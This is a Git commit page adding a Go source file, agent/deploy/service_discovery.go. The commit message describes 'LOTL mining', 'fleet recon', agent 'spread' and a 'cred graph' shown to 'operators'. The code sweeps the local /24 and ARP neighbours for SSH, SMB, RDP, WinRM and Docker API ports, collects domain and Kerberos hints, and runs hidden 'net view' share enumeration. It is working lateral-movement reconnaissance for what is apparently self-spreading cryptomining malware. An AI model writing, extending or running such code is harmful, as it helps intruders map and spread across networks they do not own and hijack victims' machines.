Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
207
agent/deploy/service_discovery.go
Normal file
207
agent/deploy/service_discovery.go
Normal file
@@ -0,0 +1,207 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net"
|
||||
"runtime"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// commonLANPorts are probed on ARP/subnet LAN targets (enumeration only).
|
||||
var commonLANPorts = []int{22, 445, 3389, 5985, 5986, 2375, 8080, 8443, 2222}
|
||||
|
||||
// portServiceNames maps well-known ports to friendly service labels.
|
||||
var portServiceNames = map[int]string{
|
||||
22: "ssh",
|
||||
445: "smb",
|
||||
3389: "rdp",
|
||||
5985: "winrm",
|
||||
5986: "winrm-https",
|
||||
2375: "docker-api",
|
||||
8080: "http-alt",
|
||||
8443: "https-alt",
|
||||
2222: "ssh-alt",
|
||||
}
|
||||
|
||||
// RunServiceDiscover performs local + LAN service enumeration and returns JSON.
|
||||
func RunServiceDiscover(maxLANHosts int) string {
|
||||
if maxLANHosts <= 0 {
|
||||
maxLANHosts = 32
|
||||
}
|
||||
if maxLANHosts > MaxSubnetScanHosts {
|
||||
maxLANHosts = MaxSubnetScanHosts
|
||||
}
|
||||
|
||||
localIP := localIPv4ForDiscovery()
|
||||
localSubnet := getSubnet(localIP)
|
||||
|
||||
passive := collectPassiveHints()
|
||||
hints := CollectNetworkHints(maxLANHosts)
|
||||
for _, h := range appendNetworkHintStrings(hints) {
|
||||
passive = append(passive, h)
|
||||
}
|
||||
|
||||
result := ServiceDiscoverResult{
|
||||
ProbedAt: time.Now().UTC().Format(time.RFC3339),
|
||||
PassiveHints: passive,
|
||||
Local: ServiceGraphHost{
|
||||
Host: localIP,
|
||||
Subnet: localSubnet,
|
||||
Services: probeLocalServices(),
|
||||
},
|
||||
}
|
||||
|
||||
lanHosts := discoverLANServiceGraph(maxLANHosts)
|
||||
result.LANHosts = lanHosts
|
||||
|
||||
b, _ := json.Marshal(result)
|
||||
return string(b)
|
||||
}
|
||||
|
||||
func localIPv4ForDiscovery() string {
|
||||
ips := getLocalIPs()
|
||||
for _, ip := range ips {
|
||||
if isIPv4(ip) {
|
||||
return ip
|
||||
}
|
||||
}
|
||||
if ip, err := PrimaryLocalIPv4(); err == nil && ip != "" {
|
||||
return ip
|
||||
}
|
||||
return "127.0.0.1"
|
||||
}
|
||||
|
||||
func discoverLANServiceGraph(maxHosts int) []ServiceGraphHost {
|
||||
targets := lanDiscoveryTargets(maxHosts)
|
||||
localSet := make(map[string]bool)
|
||||
for _, ip := range getLocalIPs() {
|
||||
localSet[ip] = true
|
||||
}
|
||||
|
||||
var hosts []ServiceGraphHost
|
||||
for _, host := range targets {
|
||||
if localSet[host] {
|
||||
continue
|
||||
}
|
||||
entries := probeLANHostServices(host)
|
||||
if len(entries) == 0 {
|
||||
continue
|
||||
}
|
||||
hosts = append(hosts, ServiceGraphHost{
|
||||
Host: host,
|
||||
Subnet: getSubnet(host),
|
||||
Services: entries,
|
||||
})
|
||||
}
|
||||
return hosts
|
||||
}
|
||||
|
||||
func appendNetworkHintStrings(h NetworkHints) []string {
|
||||
var out []string
|
||||
if h.DomainJoined {
|
||||
out = append(out, "domain_joined:"+h.DomainName)
|
||||
}
|
||||
if h.PreferJoinLane != "" {
|
||||
out = append(out, "prefer_join_lane:"+h.PreferJoinLane)
|
||||
}
|
||||
for _, s := range h.LdapSRV {
|
||||
out = append(out, "ldap_srv:"+s)
|
||||
}
|
||||
for _, s := range h.KerberosSRV {
|
||||
out = append(out, "kerberos_srv:"+s)
|
||||
}
|
||||
if h.EnterpriseCodeSignCert {
|
||||
out = append(out, "enterprise_code_sign")
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// lanDiscoveryTargets merges ARP cache neighbors with a capped /24 port knock (Path Tracer LAN discovery).
|
||||
func lanDiscoveryTargets(maxHosts int) []string {
|
||||
seen := make(map[string]bool)
|
||||
var out []string
|
||||
|
||||
add := func(ip string) {
|
||||
ip = strings.TrimSpace(ip)
|
||||
if ip == "" || !isIPv4(ip) || seen[ip] {
|
||||
return
|
||||
}
|
||||
seen[ip] = true
|
||||
out = append(out, ip)
|
||||
}
|
||||
|
||||
for _, ip := range arpHosts() {
|
||||
if len(out) >= maxHosts {
|
||||
return out
|
||||
}
|
||||
add(ip)
|
||||
}
|
||||
|
||||
for _, ip := range getLocalIPs() {
|
||||
if !isIPv4(ip) || len(out) >= maxHosts {
|
||||
continue
|
||||
}
|
||||
subnet := getSubnet(ip)
|
||||
if subnet == "" {
|
||||
continue
|
||||
}
|
||||
for i := 1; i < 255 && len(out) < maxHosts; i++ {
|
||||
candidate, ok := ipv4SweepHost(subnet, i)
|
||||
if !ok {
|
||||
break
|
||||
}
|
||||
if candidate == ip {
|
||||
continue
|
||||
}
|
||||
if open := probePorts(candidate, commonLANPorts); len(open) > 0 {
|
||||
add(candidate)
|
||||
}
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func probeLANHostServices(host string) []ServiceGraphEntry {
|
||||
var entries []ServiceGraphEntry
|
||||
open := probePorts(host, commonLANPorts)
|
||||
for _, p := range open {
|
||||
name := portServiceNames[p]
|
||||
if name == "" {
|
||||
name = "tcp/" + strconv.Itoa(p)
|
||||
}
|
||||
entries = append(entries, entryWithLane(name, p, "lan_port"))
|
||||
}
|
||||
|
||||
if smbEntries := probeSMBGraphEntries(host); len(smbEntries) > 0 {
|
||||
entries = append(entries, smbEntries...)
|
||||
}
|
||||
return dedupeEntries(entries)
|
||||
}
|
||||
|
||||
func probeSMBGraphEntries(host string) []ServiceGraphEntry {
|
||||
conn, err := net.DialTimeout("tcp", net.JoinHostPort(host, "445"), 800*time.Millisecond)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
conn.Close()
|
||||
|
||||
// Windows net view enumeration is platform-specific; on Unix we only record SMB port.
|
||||
if runtime.GOOS != "windows" {
|
||||
return []ServiceGraphEntry{entryWithLane("smb", 445, "lan_port")}
|
||||
}
|
||||
out, err := HiddenOutput("net", "view", "\\\\"+host)
|
||||
if err != nil {
|
||||
return []ServiceGraphEntry{entryWithLane("smb", 445, "lan_port")}
|
||||
}
|
||||
shares := parseNetViewShares(strings.TrimSpace(string(out)))
|
||||
if len(shares) == 0 {
|
||||
return []ServiceGraphEntry{entryWithLane("smb", 445, "lan_port")}
|
||||
}
|
||||
entries := []ServiceGraphEntry{entryWithLane("smb", 445, "lan_port")}
|
||||
for _, share := range shares {
|
||||
entries = append(entries, entryWithLane("smb-share:"+share, 445, "smb_share"))
|
||||
}
|
||||
return entries
|
||||
}
|
||||
Reference in New Issue
Block a user